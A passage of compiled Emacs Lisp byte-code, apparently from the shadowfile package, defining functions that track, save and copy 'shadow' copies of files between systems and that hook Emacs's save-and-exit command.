\317@!\320A!\n\205I \nq\210\321\322\323\217*\207" [s shadow-noquery buffer to get-file-buffer abbreviate-file-name shadow-expand-file-name file-readable-p y-or-n-p format "Cannot find file %s--cancel copy request? " shadow-remove-from-todo nil t "No buffer for %s -- update shadow anyway? " find-file-noselect shadow-expand-cluster-in-file-name i (byte-code "\302\303\211#\210\304 !\207" [to s write-region nil shadow-remove-from-todo] 4) ((error (byte-code "\301\302A\"\207" [s message "Shadow %s not updated!"] 3)))] 4 (#$ . 15797)]) #@222 Return copy operations needed to update FILE. Filename should have clusters expanded, but otherwise can have any format. Return value is a list of dotted pairs like (from . to), where from and to are absolute file names. (defalias 'shadow-shadows-of #[(file) "\306 \"J\2061 \307\310!\206 \n\"\311 ! \312\313\314\315\f \316#\315\f\317#\"\" \320 \"L+\207" [file shadow-hashtable shadow-homedir absolute-file canonical-file shadow-literal-groups intern-soft shadow-expand-file-name shadow-local-file shadow-contract-file-name mapcar #[(shadow) " B\207" [absolute-file shadow] 2] append shadow-shadows-of-1 nil t intern shadow-regexp-groups shadows] 8 (#$ . 16517)]) #@108 Return list of FILE's shadows in GROUPS. Consider them as regular expressions if third arg REGEXP is true. (defalias 'shadow-shadows-of-1 #[(file groups regexp) "\2051 \305\306@\"\307 @\232\203 \310\202) \n\203( \311\312 !8 \313\314 \")\202) \315 A\n#\")\207" [groups nonmatching regexp file realname shadow-remove-if #[(x) "\303 \n#\207" [x file regexp shadow-file-match] 4] append nil 2 shadow-parse-fullname mapcar #[(x) "\302 \"\207" [x realname shadow-replace-name-component] 3] shadow-shadows-of-1] 6 (#$ . 17199)]) #@75 If current buffer has shadows, add them to the list needing to be copied. (defalias 'shadow-add-to-todo #[nil "\303\304\305p!!!\211\203# \306 \"\n\204 \307\310\311\312!\"\210\313\314!\210\315 \210)\316\207" [shadows shadow-files-to-copy shadow-inhibit-message shadow-shadows-of shadow-expand-file-name buffer-file-name shadow-union message "%s" substitute-command-keys "Use \\[shadow-copy-files] to update shadows." sit-for 1 shadow-write-todo-file nil] 5 (#$ . 17736)]) #@97 Remove PAIR from `shadow-files-to-copy'. PAIR must be `eq' to one of the elements of that list. (defalias 'shadow-remove-from-todo #[(pair) "\301\302\"\211\207" [shadow-files-to-copy shadow-remove-if #[(s) " =\207" [s pair] 2]] 3 (#$ . 18217)]) #@174 Visit and load `shadow-info-file' and `shadow-todo-file'. Thus restores shadowfile's state from your last Emacs session. Return t unless files were locked; then return nil. (defalias 'shadow-read-files #[nil "\304\305!\203! \305!;\204 \305 !;\203! \306\307!\210\310 \210\311\312!\210\313\207\212\203M \314!\211q\210\315 \204J \316\317 \"\203J \320 \210\306\321\322\317 !@\"\210\311\323!\210\324 \210 \203y \314 !\211q\210\315 \204u \316\317 \"\203u \320 \210\306\321\322\317 !@\"\210\311\323!\210\324\313!\210\325 \210)\326\207" [shadow-info-file shadow-todo-file shadow-info-buffer shadow-todo-buffer fboundp file-locked-p message "Shadowfile is running in another Emacs; can't have two." beep sit-for 3 nil find-file-noselect buffer-modified-p file-newer-than-file-p make-auto-save-file-name erase-buffer "Data recovered from %s." insert-file-contents 1 eval-buffer shadow-invalidate-hashtable t] 4 (#$ . 18472) nil]) #@154 Write out information to `shadow-info-file'. Also clear `shadow-hashtable', since when there are new shadows defined, the old hashtable info is invalid. (defalias 'shadow-write-info-file #[nil "\302 \210\205# \212 \204 \303! q\210ed|\210\304\305!\210\304\306!\210\304\307!)\207" [shadow-info-file shadow-info-buffer shadow-invalidate-hashtable find-file-noselect shadow-insert-var shadow-clusters shadow-literal-groups shadow-regexp-groups] 2 (#$ . 19407)]) #@91 Write out information to `shadow-todo-file'. With non-nil argument also saves the buffer. (defalias 'shadow-write-todo-file #[(&optional save) "\212\204 \303 !q\210ed|\210\304\305!\210\n\205 \306 )\207" [shadow-todo-buffer shadow-todo-file save find-file-noselect shadow-insert-var shadow-files-to-copy shadow-save-todo-file] 2 (#$ . 19875)]) (defalias 'shadow-save-todo-file #[nil "\205 \301!\205 \212q\210\302\303\304\217)\207" [shadow-todo-buffer buffer-modified-p nil (basic-save-buffer) ((error (byte-code "\300\301!\210\302\303!\207" [message "WARNING: Can't save shadow todo file; it is locked!" sit-for 1] 2)))] 3]) (defalias 'shadow-invalidate-hashtable #[nil "\301\302\303\"\211\207" [shadow-hashtable make-vector 37 0] 3]) #@208 Build a `setq' to restore VARIABLE. Prettily insert a `setq' command which, when later evaluated, will restore VARIABLE to its current setting. VARIABLE must be the name of a variable whose value is a list. (defalias 'shadow-insert-var #[(variable) "p\303\304 \"c\210\305 !:\2037 \306c\210\307\305 !@!\210\305 !A\211\2031 \310c\210\307\n@!\210\nA\211\204\" \311c)\202B \312c\210\307\305 !!\210\313c)\207" [standard-output variable rest format "(setq %s" eval "\n '(" prin1 "\n " "))\n\n" " " ")\n\n"] 4 (#$ . 20627)]) #@291 Offer to save each buffer and copy shadows, then kill this Emacs process. With prefix arg, silently save all file-visiting buffers, then kill. Extended by shadowfile to automatically save `shadow-todo-file' and look for files that have been changed and need to be copied to other systems. (defalias 'shadow-save-buffers-kill-emacs #[(&optional arg) "\303 \210\304\305\"\210\306 \210\303 \210\305\307\310\311 \">\203 \312\313!\205T \314\315!\203R \315 \316\211\203F \317\n@!\320>\203? \321\n@!\203? \305\nA\211\204- ?\206N \312\322!*\205T \323 \207" [arg active processes shadow-save-todo-file save-some-buffers t shadow-copy-files mapcar #[(buf) "\301!\205 \302!\207" [buf buffer-file-name buffer-modified-p] 2] buffer-list yes-or-no-p "Modified buffers exist; exit anyway? " fboundp process-list nil process-status (run stop open listen) process-query-on-exit-flag "Active processes exist; kill them and exit anyway? " kill-emacs] 5 (#$ . 21159) "P"]) #@24 Set up file shadowing. (defalias 'shadow-initialize #[nil "\204\n \305\306\307!! \204 \306\310\311!!\n\204 \306\310\312!!\313 \204. \314\315!\210\316 \210\317\320!\207 \204C \321\322!\204C \323\322\324K\"\210\323\324\325\"\210\326\327\330\"\210\331\f\332\333#\207" [shadow-homedir shadow-info-file shadow-todo-file shadow-inhibit-overload ctl-x-4-map file-name-as-directory shadow-expand-file-name "~" convert-standard-filename "~/.shadows" "~/.shadow_todo" shadow-read-files message "Shadowfile information files not found - aborting" beep sit-for 3 fboundp shadow-orig-save-buffers-kill-emacs defalias save-buffers-kill-emacs shadow-save-buffers-kill-emacs add-hook write-file-functions shadow-add-to-todo define-key "s" shadow-copy-files] 4 (#$ . 22129) nil]) (defalias 'shadowfile-unload-function #[nil "\301\302\303#\210\304\305!\203 \306\305KM\210\303\207" [ctl-x-4-map substitute-key-definition shadow-copy-files nil fboundp shadow-orig-save-buffers-kill-emacs save-buffers-kill-emacs] 4]) (provide 'shadowfile)
Close
